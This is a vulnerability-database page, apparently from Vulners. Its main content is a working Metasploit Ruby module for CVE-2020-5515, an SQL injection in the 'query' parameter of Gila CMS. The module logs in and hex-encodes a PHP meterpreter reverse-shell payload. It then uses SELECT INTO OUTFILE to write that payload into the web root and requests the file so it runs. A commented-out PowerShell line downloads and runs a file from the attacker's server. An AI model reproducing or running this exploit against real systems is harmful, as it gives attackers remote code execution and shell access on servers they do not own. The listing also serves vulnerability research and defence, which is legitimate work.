Lucene search
K

Gila CMS 1.1.18.1 SQL Injection / Shell Upload Exploit

🗓️ 18 Jun 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 237 Views

This module exploits sql injection vulnerability in "query" parameter that found on Gila CMS 1.1.18.1

Related
Code
ReporterTitlePublishedViews
Family
0daydb
Gila CMS 1.11.8 CVE-2020-5515 - SQL Injection
18 Jun 202001:32
0daydb
0daydb
TP-LINK Cloud Cameras NCXXX CVE-2020-13224 - Stack Overflow
18 Jun 202001:33
0daydb
0daydb
SOS JobScheduler 1.13.3 CVE-2020-12712 Stored Password Decryption
18 Jun 202001:30
0daydb
0day.today
Gila CMS 1.11.8 - (query) SQL Injection Vulnerability
16 Jun 202000:00
zdt
Circl
CVE-2020-5515
19 Mar 202419:11
circl
CNVD
Gila CMS SQL Injection Vulnerability
7 Jan 202000:00
cnvd
CVE
CVE-2020-5515
6 Jan 202018:40
cve
Cvelist
CVE-2020-5515
6 Jan 202018:40
cvelist
Exploit DB
Gila CMS 1.11.8 - 'query' SQL Injection
16 Jun 202000:00
exploitdb
NVD
CVE-2020-5515
6 Jan 202019:15
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
    require 'msf/core'
    require "net/http"
    require "uri"
    require 'nokogiri'
 
 
    class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking
 
   
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Exploit::EXE      
         
 
        def initialize(info = {})
            super(update_info(info,
                'Name'           => 'Gila CMS  1.1.18.1 Shell Upload ',
                'Description'    => %q{
               This module exploits sql injection vulnerability in "query" parameter that found on  Gila CMS 1.1.18.1 .  
                },
                'Author'         => [ 'th3d1gger','Carlos Ramirez L. (BillyV4)' ],
                'References' =>
              [
                
                ['CVE', 'CVE-2020-5515'],
                ['PACKETSTORM', '158114']
                
              ], 
                'License'        => 'MSF_LICENSE',
          'Platform'       => 'PHP',
          'Arch' => ARCH_PHP,

          'Targets'        =>
            [
              [
                  'Automatic (PHP In-Memory)',
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_memory,
                  'Payload' => { 'BadChars' => "'" },
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
                ],
            ],
          'DefaultTarget'  => 0 ))
            register_options(
                [
                    OptString.new('USERNAME', [ true, 'Email to login with', '[email protected]']),
 
              OptString.new('PASSWORD', [ true, 'Password to login with', 'password']),
              OptString.new('TARGETURI', [ true, 'Uri for Gila CMS base', '/gila-1.11.8/']),
     OptString.new('TARGETPATH', [ true, 'Full Path to shell upload', "C://xampp3//htdocs//gila-1.11.8//"])#,
       
                 
                ], self.class)
        #      OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.0.1']),
          #          OptInt.new('SRVPORT', [true, 'HTTP Server Bind Port', '4554']),
   #  OptString.new('FILENAME', [true, 'Payload filename', 'payloader.elf'])
   
        end
       
  def primer
  end
    
        def username
          datastore['USERNAME']
    end
 
    def password
            datastore['PASSWORD']
    end
 
 #some serving things
#  def on_request_uri(cli, req)
 #           @pl = generate_payload_exe
  #        print_status("#{peer} - Payload request received: #{req.uri}")
   #         send_response(cli, @pl)
    #  end 
 
        def gila

uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['targeturi'].to_s+'/admin')
http = Net::HTTP.new(uri.host, uri.port)

request = Net::HTTP::Get.new(uri.request_uri)
 
response = http.request(request)

cookies = response.response['set-cookie']
cookies = cookies.split(';')[0]


request = Net::HTTP::Post.new(uri)
request.set_form_data({"username" => username, "password" => password})
 


request['Cookie'] = cookies

request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
response = http.request(request)
 
 
 
    if response && response.body.include?("Dashboard")
       
        print_good("yayayay! Authenticated with #{username}:#{password}")
      gsessionid = response.response['set-cookie']

 
 
     
     
      @fname = "#{rand_text_alphanumeric(rand(10)+6)}.PHP"
 #for windows    php = "<?php shell_exec('powershell -c \"Invoke-WebRequest -Uri http://"+srvhost+":"+srvport.to_s+"/"+filename+" -OutFile "+ datastore['targetpath']+"assets//"+filename+ "   \"'); shell_exec('"+datastore['targetpath']+"assets//"+filename+"') ?>"

  #bypass strip_tags 
    php = "<?php #{payload.encoded} ?>"
    php = php.each_byte.map { |b| b.to_s(16) }.join
  php = "0x"+php  
  uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['targeturi'].to_s+'/admin/sql?query=SELECT id FROM user LIMIT 0,1 INTO OUTFILE  \''+datastore['targetpath'] +"assets//"+@fname+'\' LINES TERMINATED BY   '+php+'')

  request = Net::HTTP::Get.new(uri)
  
  request['Cookie'] = cookies+';'+ gsessionid.split(';')[0]+';'

  request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
  response = http.request(request)
  if response.body.include?('Page created in')
#Another  serving things
  
   #resource_uri="/"+filename
   #start_service({'Uri' => {
  #            'Proc' => Proc.new { |cli, req|
#               on_request_uri(cli, req)},
#               'Path' => resource_uri
#            }})
 #             print_status("#{rhost}:#{rport} - Trying Exploitation in 2 requests...")

  
        
        print_status("Payload uploaded")
        print_status("#{@fname}")
      print_status("#{peer} - Executing #{@fname}...")

      uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['targeturi'].to_s+'assets/'+@fname)

      http = Net::HTTP.new(uri.host, uri.port)
 
  
      request = Net::HTTP::Get.new(uri.request_uri)
 
      response = http.request(request)
      print_status("Payload is on #{uri} You can trigger it by yourself if it doesn't work.")
        #and things about server 
        #print_status("#{srvhost}:#{srvport} - Waiting 1 minute for shell")
        #      sleep(60)
    
  else
  print_status("Payload can not be uploaded")
  print response.body
  end
    else
 #     print_status(response.body)
      fail_with(Failure::NoAccess, 'Credentials are not valid.')
    end
 
     
  end
 
        
 
        def exploit
   
   gila
 
      if gila.nil?
        fail_with(Failure::Unknown, 'Something went wrong!')
      end
      end
     end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2020 00:00Current
8High risk
Vulners AI Score8
CVSS 26.5
CVSS 3.17.2
EPSS0.62386
237